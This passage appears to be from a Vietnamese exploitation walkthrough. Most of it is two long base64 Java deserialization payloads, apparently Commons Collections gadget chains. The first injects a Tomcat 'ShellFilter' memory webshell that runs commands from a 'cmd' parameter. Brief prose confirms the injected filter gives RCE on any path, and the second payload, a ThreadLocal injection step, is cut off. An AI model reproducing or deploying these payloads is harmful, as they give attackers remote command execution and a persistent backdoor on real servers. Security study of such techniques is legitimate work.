rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAMADWphdmEudXRpbC5NYXAAE2phdmEubGFuZy5DbG9uZWFibGUAFGphdmEuaW8uU2VyaWFsaXphYmxleHIAF2phdmEubGFuZy5yZWZsZWN0LlByb3h54SfaIMwQQ8sCAAFMAAFodAAlTGphdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25IYW5kbGVyO3hwc3EAfgAAc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl%2BwoepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAACc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnR0ABJMamF2YS9sYW5nL09iamVjdDt4cHZyADdjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UckFYRmlsdGVyAAAAAAAAAAAAAAB4cHNyAD5vcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW5zdGFudGlhdGVUcmFuc2Zvcm1lcjSL9H%2BkhtA7AgACWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7WwALaVBhcmFtVHlwZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAFzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3EAfgAYTAAFX25hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD%2F%2F%2F%2F%2FdXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX%2BAYIVOACAAB4cAAAGuDK%2Frq%2BAAAANAE%2FCgBRALUHALYIALcKAD4AuAoAuQC6CgC5ALsHALwKAAcAvQcAvgsACQC%2FCACDCwAJAMAIAMELAMIAwwsAwgDECgDFAMYKAMUAxwoAyADJBwDKCgATAMsIAMwKABMAzQoAEwDOCgATAM8IANAKABMA0QoA0gDTCgDSANQKANIA0QcA1QoAHgDWBwDXCgAgANYLANgA2QoAKAC%2FCgBCANoIANsHANwHAN0HAN4KACgAtQgA3wcA4AoAKwC1CgArAOEKACsA4goAPgDjCgArAOQKACcA5QcA5goAMgC1CADnCgAyAOgKADIA4gkA6QDqCgDpAOsKADIA7AoAJwDtCAChBwDuBwDvBwDwBwDxCgA%2BAPIKAPMAugcA9AoA8wD1CwA8APYHAPcKAEUA1gcA%2BAoARwDWBwD5CgBJANYHAPoKAEsA1gcA%2BwoATQDWBwD8CgBPANYHAP0HAP4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAFExUb21jYXRGaWx0ZXJJbmplY3Q7AQARZ2V0U2VydmxldENvbnRleHQBACAoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRDb250ZXh0OwEADnNlcnZsZXRSZXF1ZXN0AQAeTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQAYbGFzdFNlcnZpY2VkUmVxdWVzdEZpZWxkAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAC3RocmVhZExvY2FsAQAXTGphdmEvbGFuZy9UaHJlYWRMb2NhbDsBAA1TdGFja01hcFRhYmxlBwD%2FBwC8AQAKRXhjZXB0aW9ucwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAQABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEAAmluAQAVTGphdmEvaW8vSW5wdXRTdHJlYW07AQAHc2Nhbm5lcgEAE0xqYXZhL3V0aWwvU2Nhbm5lcjsBAAZyZXN1bHQBABJMamF2YS9sYW5nL1N0cmluZzsBAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQABbgEAIExqYXZhL2xhbmcvTnVsbFBvaW50ZXJFeGNlcHRpb247AQAHcmVxdWVzdAEACHJlc3BvbnNlAQAfTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEABWNoYWluAQAbTGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47AQADY21kAQAGd3JpdGVyAQAVTGphdmEvaW8vUHJpbnRXcml0ZXI7BwDeBwC%2BBwEBBwECBwEDBwEEBwEFBwDKBwDVBwDXBwEGAQAIPGNsaW5pdD4BAA5zZXJ2bGV0Q29udGV4dAEAHkxqYXZheC9zZXJ2bGV0L1NlcnZsZXRDb250ZXh0OwEAD2FwcENvbnRleHRGaWVsZAEAEmFwcGxpY2F0aW9uQ29udGV4dAEALUxvcmcvYXBhY2hlL2NhdGFsaW5hL2NvcmUvQXBwbGljYXRpb25Db250ZXh0OwEAFHN0YW5kYXJkQ29udGV4dEZpZWxkAQAPc3RhbmRhcmRDb250ZXh0AQAqTG9yZy9hcGFjaGUvY2F0YWxpbmEvY29yZS9TdGFuZGFyZENvbnRleHQ7AQAGZmlsdGVyAQAEbmFtZQEACWZpbHRlckRlZgEAMUxvcmcvYXBhY2hlL3RvbWNhdC91dGlsL2Rlc2NyaXB0b3Ivd2ViL0ZpbHRlckRlZjsBAAlmaWx0ZXJNYXABADFMb3JnL2FwYWNoZS90b21jYXQvdXRpbC9kZXNjcmlwdG9yL3dlYi9GaWx0ZXJNYXA7AQAHQ29uZmlncwEADWZpbHRlckNvbmZpZ3MBAA9MamF2YS91dGlsL01hcDsBAAtjb25zdHJ1Y3RvcgEAH0xqYXZhL2xhbmcvcmVmbGVjdC9Db25zdHJ1Y3RvcjsBAAxmaWx0ZXJDb25maWcBADJMb3JnL2FwYWNoZS9jYXRhbGluYS9jb3JlL0FwcGxpY2F0aW9uRmlsdGVyQ29uZmlnOwEAIExqYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb247AQAiTGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uOwEAIkxqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbjsBAC1MamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvblRhcmdldEV4Y2VwdGlvbjsBACFMamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbjsBACJMamF2YS9sYW5nL0luc3RhbnRpYXRpb25FeGNlcHRpb247BwD3BwD4BwD5BwD6BwD7BwD8AQAKU291cmNlRmlsZQEAF1RvbWNhdEZpbHRlckluamVjdC5qYXZhDABTAFQBAC9vcmcvYXBhY2hlL2NhdGFsaW5hL2NvcmUvQXBwbGljYXRpb25GaWx0ZXJDaGFpbgEAE2xhc3RTZXJ2aWNlZFJlcXVlc3QMAQcBCAcA%2FwwBCQEKDAELAQwBABVqYXZhL2xhbmcvVGhyZWFkTG9jYWwMAQsBDQEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QMAFoAWwwBDgEPAQAYdGV4dC9odG1sOyBjaGFyc2V0PVVURi04BwEBDAEQAREMARIBEwcBFAwBFQEWDAEXARgHARkMARoBGwEAEWphdmEvdXRpbC9TY2FubmVyDABTARwBAAJcQQwBHQEeDAEfASAMASEBIgEAAAwBIwBUBwEEDAEkAREMASUAVAEAE2phdmEvaW8vSU9FeGNlcHRpb24MASYAVAEAHmphdmEvbGFuZy9OdWxsUG9pbnRlckV4Y2VwdGlvbgcBAgwAcgEnDAEoASkBAAdjb250ZXh0AQArb3JnL2FwYWNoZS9jYXRhbGluYS9jb3JlL0FwcGxpY2F0aW9uQ29udGV4dAEAKG9yZy9hcGFjaGUvY2F0YWxpbmEvY29yZS9TdGFuZGFyZENvbnRleHQBABJUb21jYXRGaWx0ZXJJbmplY3QBAAtTaGVsbEZpbHRlcgEAL29yZy9hcGFjaGUvdG9tY2F0L3V0aWwvZGVzY3JpcHRvci93ZWIvRmlsdGVyRGVmDAEqASsMASwBEQwBLQEiDAEuAREMAS8BMAEAL29yZy9hcGFjaGUvdG9tY2F0L3V0aWwvZGVzY3JpcHRvci93ZWIvRmlsdGVyTWFwAQACLyoMATEBEQcBMgwBMwE0DACbASIMATUBEQwBNgE3AQANamF2YS91dGlsL01hcAEAMG9yZy9hcGFjaGUvY2F0YWxpbmEvY29yZS9BcHBsaWNhdGlvbkZpbHRlckNvbmZpZwEAD2phdmEvbGFuZy9DbGFzcwEAG29yZy9hcGFjaGUvY2F0YWxpbmEvQ29udGV4dAwBOAE5BwE6AQAQamF2YS9sYW5nL09iamVjdAwBOwE8DAE9AT4BAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24BACBqYXZhL2xhbmcvQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbgEAIGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uAQAramF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvblRhcmdldEV4Y2VwdGlvbgEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24BACBqYXZhL2xhbmcvSW5zdGFudGlhdGlvbkV4Y2VwdGlvbgEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABRqYXZheC9zZXJ2bGV0L0ZpbHRlcgEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQAQamF2YS9sYW5nL1N0cmluZwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBABNqYXZhL2lvL0lucHV0U3RyZWFtAQAeamF2YXgvc2VydmxldC9TZXJ2bGV0RXhjZXB0aW9uAQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEADXNldEFjY2Vzc2libGUBAAQoWilWAQADZ2V0AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAOc2V0Q29udGVudFR5cGUBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAAdoYXNOZXh0AQADKClaAQAEbmV4dAEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAFY2xvc2UBAAV3cml0ZQEABWZsdXNoAQAPcHJpbnRTdGFja1RyYWNlAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEACXNldEZpbHRlcgEAGShMamF2YXgvc2VydmxldC9GaWx0ZXI7KVYBAA1zZXRGaWx0ZXJOYW1lAQAHZ2V0TmFtZQEADnNldEZpbHRlckNsYXNzAQAMYWRkRmlsdGVyRGVmAQA0KExvcmcvYXBhY2hlL3RvbWNhdC91dGlsL2Rlc2NyaXB0b3Ivd2ViL0ZpbHRlckRlZjspVgEADWFkZFVSTFBhdHRlcm4BABxqYXZheC9zZXJ2bGV0L0Rpc3BhdGNoZXJUeXBlAQAHUkVRVUVTVAEAHkxqYXZheC9zZXJ2bGV0L0Rpc3BhdGNoZXJUeXBlOwEADXNldERpc3BhdGNoZXIBABJhZGRGaWx0ZXJNYXBCZWZvcmUBADQoTG9yZy9hcGFjaGUvdG9tY2F0L3V0aWwvZGVzY3JpcHRvci93ZWIvRmlsdGVyTWFwOylWAQAWZ2V0RGVjbGFyZWRDb25zdHJ1Y3RvcgEAMyhbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yOwEAHWphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yAQALbmV3SW5zdGFuY2UBACcoW0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAANwdXQBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwAhACgAUQABAFIAAAAGAAEAUwBUAAEAVQAAAC8AAQABAAAABSq3AAGxAAAAAgBWAAAABgABAAAAEwBXAAAADAABAAAABQBYAFkAAAAJAFoAWwACAFUAAACZAAIAAwAAADISAhIDtgAESyoEtgAFKgG2AAbAAAdMK8YAGSu2AAjGABIrtgAIwAAJTSy5AAoBALABsAAAAAMAVgAAAB4ABwAAAEcACABIAA0ASQAWAEoAIQBLACkATAAwAE4AVwAAACAAAwApAAcAXABdAAIACAAqAF4AXwAAABYAHABgAGEAAQBiAAAACwAB%2FQAwBwBjBwBkAGUAAAAIAAMARwBFAEkAAQBmAGcAAgBVAAAAPwAAAAMAAAABsQAAAAIAVgAAAAYAAQAAAFQAVwAAACAAAwAAAAEAWABZAAAAAAABAGgAaQABAAAAAQBqAGsAAgBlAAAABAABAGwAAQBmAG0AAgBVAAAASQAAAAQAAAABsQAAAAIAVgAAAAYAAQAAAFkAVwAAACoABAAAAAEAWABZAAAAAAABAGgAaQABAAAAAQBuAG8AAgAAAAEAcABxAAMAZQAAAAQAAQBsAAEAcgBzAAIAVQAAAbUAAwAJAAAAgysSC7kADAIAOgQsEg25AA4CACy5AA8BADoFGQTGAF64ABAZBLYAEbYAEjoGuwATWRkGtwAUEhW2ABY6BxkHtgAXmQALGQe2ABinAAUSGToIGQe2ABoZBRkItgAbGQW2ABwZBbYAHacAFDoGGQa2AB%2BnAAo6BhkGtgAhLSssuQAiAwCxAAIAHwBmAGkAHgAfAGYAcwAgAAMAVgAAAE4AEwAAAFwACgBdABIAXgAaAF8AHwBhACwAYwA8AGQAUABlAFUAZgBcAGcAYQBoAGYAbQBpAGkAawBqAHAAbQBzAGsAdQBsAHoAbwCCAHAAVwAAAHAACwAsADoAdAB1AAYAPAAqAHYAdwAHAFAAFgB4AHkACABrAAUAegB7AAYAdQAFAHwAfQAGAAAAgwBYAFkAAAAAAIMAfgBdAAEAAACDAH8AgAACAAAAgwCBAIIAAwAKAHkAgwB5AAQAGgBpAIQAhQAFAGIAAABGAAX%2FAEwACAcAhgcAhwcAiAcAiQcAigcAiwcAjAcAjQAAQQcAiv8AGgAGBwCGBwCHBwCIBwCJBwCKBwCLAAEHAI5JBwCPBgBlAAAABgACAB4AkAAIAJEAVAABAFUAAAMFAAUADQAAASS4ACNLKrYAJBIltgAETCsEtgAFKyq2AAbAACZNLLYAJBIltgAETi0EtgAFLSy2AAbAACc6BLsAKFm3ACk6BRIqOga7ACtZtwAsOgcZBxkFtgAtGQcZBrYALhkHGQW2ACS2AC%2B2ADAZBBkHtgAxuwAyWbcAMzoIGQgSNLYANRkIGQa2ADYZCLIAN7YAOLYAORkEGQi2ADoZBLYAJBI7tgAEOgkZCQS2AAUZCRkEtgAGwAA8OgoSPQW9AD5ZAxI%2FU1kEEitTtgBAOgsZCwS2AEEZCwW9AEJZAxkEU1kEGQdTtgBDwAA9OgwZChkGGQy5AEQDAFenADBLKrYARqcAKEsqtgBIpwAgSyq2AEqnABhLKrYATKcAEEsqtgBOpwAISyq2AFCxAAYAAADzAPYARQAAAPMA%2FgBHAAAA8wEGAEkAAADzAQ4ASwAAAPMBFgBNAAAA8wEeAE8AAwBWAAAAtgAtAAAAFwAEABgADgAZABMAGgAcABsAJgAcACsAHQA1AB8APgAgAEIAIQBLACIAUgAjAFkAJABmACUAbQAnAHYAKAB9ACkAhAAqAI8AKwCWAC0AogAuAKgALwC0ADEAyQAyAM8AMwDnADQA8wBCAPYANgD3ADcA%2BwBCAP4AOAD%2FADkBAwBCAQYAOgEHADsBCwBCAQ4APAEPAD0BEwBCARYAPgEXAD8BGwBCAR4AQAEfAEEBIwBDAFcAAADAABMABADvAJIAkwAAAA4A5QCUAF8AAQAcANcAlQCWAAIAJgDNAJcAXwADADUAvgCYAJkABAA%2BALUAmgBZAAUAQgCxAJsAeQAGAEsAqACcAJ0ABwB2AH0AngCfAAgAogBRAKAAXwAJALQAPwChAKIACgDJACoAowCkAAsA5wAMAKUApgAMAPcABAB6AKcAAAD%2FAAQAegCoAAABBwAEAHoAqQAAAQ8ABAB6AKoAAAEXAAQAegCrAAABHwAEAHoArAAAAGIAAAAdAAf3APYHAK1HBwCuRwcAr0cHALBHBwCxRwcAsgQAAQCzAAAAAgC0cHQABWFoaWhpcHcBAHh1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAF2cgAdamF2YXgueG1sLnRyYW5zZm9ybS5UZW1wbGF0ZXMAAAAAAAAAAAAAAHhwc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA%2FQAAAAAAAAHcIAAAAEAAAAAB4eHZyABJqYXZhLmxhbmcuT3ZlcnJpZGUAAAAAAAAAAAAAAHhwcQB%2BAC0%3D

Trước khi inject:

Danh sách Filters chỉ có 1 Filter mặc định

Tiến hành inject:

Sau khi inject:

Danh sách filter đã có thêm ShellFilter do ta inject

Lúc này chỉ cần truy cập bất ký path nào với param cmd để RCE

C. Tóm tắt cách khai thác

  • Gửi payload deser để inject ThreadLocal

rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAMADWphdmEudXRpbC5NYXAAE2phdmEubGFuZy5DbG9uZWFibGUAFGphdmEuaW8uU2VyaWFsaXphYmxleHIAF2phdmEubGFuZy5yZWZsZWN0LlByb3h54SfaIMwQQ8sCAAFMAAFodAAlTGphdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25IYW5kbGVyO3hwc3EAfgAAc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl%2BwoepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAACc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnR0ABJMamF2YS9sYW5nL09iamVjdDt4cHZyADdjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UckFYRmlsdGVyAAAAAAAAAAAAAAB4cHNyAD5vcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW5zdGFudGlhdGVUcmFuc2Zvcm1lcjSL9H%2BkhtA7AgACWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7WwALaVBhcmFtVHlwZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAFzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3EAfgAYTAAFX25hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD%2F%2F%2F%2F%2FdXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX%2BAYIVOACAAB4cAAAC%2BDK%2Frq%2BAAAANACECgAfAEcIAEgKAEkASggASwoASQBMBwBNCABOCABPBwBQCABRCgAJAFIKAAkAUwcAVAoACQBVCgAJAFYKAAkAVwoACQBYBwBZCgASAEcKAAkAWgoAEgBbBwBcCwAWAF0IAF4KAF8AYAoAXwBhCgBfAGIHAGMKABwAZAcAZQcAZgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQATTFRocmVhZExvY2FsSW5qZWN0OwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwBnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAg8Y2xpbml0PgEAC3RocmVhZExvY2FsAQAXTGphdmEvbGFuZy9UaHJlYWRMb2NhbDsBAA9zZXJ2bGV0UmVzcG9uc2UBAB9MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQAGd3JpdGVyAQAVTGphdmEvaW8vUHJpbnRXcml0ZXI7AQAWV1JBUF9TQU1FX09CSkVDVF9GSUVMRAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBABhsYXN0U2VydmljZWRSZXF1ZXN0RmllbGQBABlsYXN0U2VydmljZWRSZXNwb25zZUZpZWxkAQAObW9kaWZpZXJzRmllbGQBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQcAUAcAYwEAClNvdXJjZUZpbGUBABZUaHJlYWRMb2NhbEluamVjdC5qYXZhDAAgACEBAC5vcmcuYXBhY2hlLmNhdGFsaW5hLmNvcmUuQXBwbGljYXRpb25EaXNwYXRjaGVyBwBoDABpAGoBABBXUkFQX1NBTUVfT0JKRUNUDABrAGwBAC9vcmcvYXBhY2hlL2NhdGFsaW5hL2NvcmUvQXBwbGljYXRpb25GaWx0ZXJDaGFpbgEAE2xhc3RTZXJ2aWNlZFJlcXVlc3QBABRsYXN0U2VydmljZWRSZXNwb25zZQEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQAJbW9kaWZpZXJzDABtAG4MAG8AcAEAGmphdmEvbGFuZy9yZWZsZWN0L01vZGlmaWVyDABxAHIMAHMAdAwAdQB2DAB3AHgBABVqYXZhL2xhbmcvVGhyZWFkTG9jYWwMAHkAegwAdwB7AQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UMAHwAfQEAIEluamVjdCBUaHJlYWRMb2NhbCBTdWNjZXNzZnVsbHkhBwB%2BDAB%2FAIAMAIEAIQwAggAhAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAgwAhAQARVGhyZWFkTG9jYWxJbmplY3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAPamF2YS9sYW5nL0NsYXNzAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQANc2V0QWNjZXNzaWJsZQEABChaKVYBAAxnZXRNb2RpZmllcnMBAAMoKUkBAAZzZXRJbnQBABYoTGphdmEvbGFuZy9PYmplY3Q7SSlWAQAKZ2V0Qm9vbGVhbgEAFShMamF2YS9sYW5nL09iamVjdDspWgEACnNldEJvb2xlYW4BABYoTGphdmEvbGFuZy9PYmplY3Q7WilWAQADZ2V0AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAANzZXQBA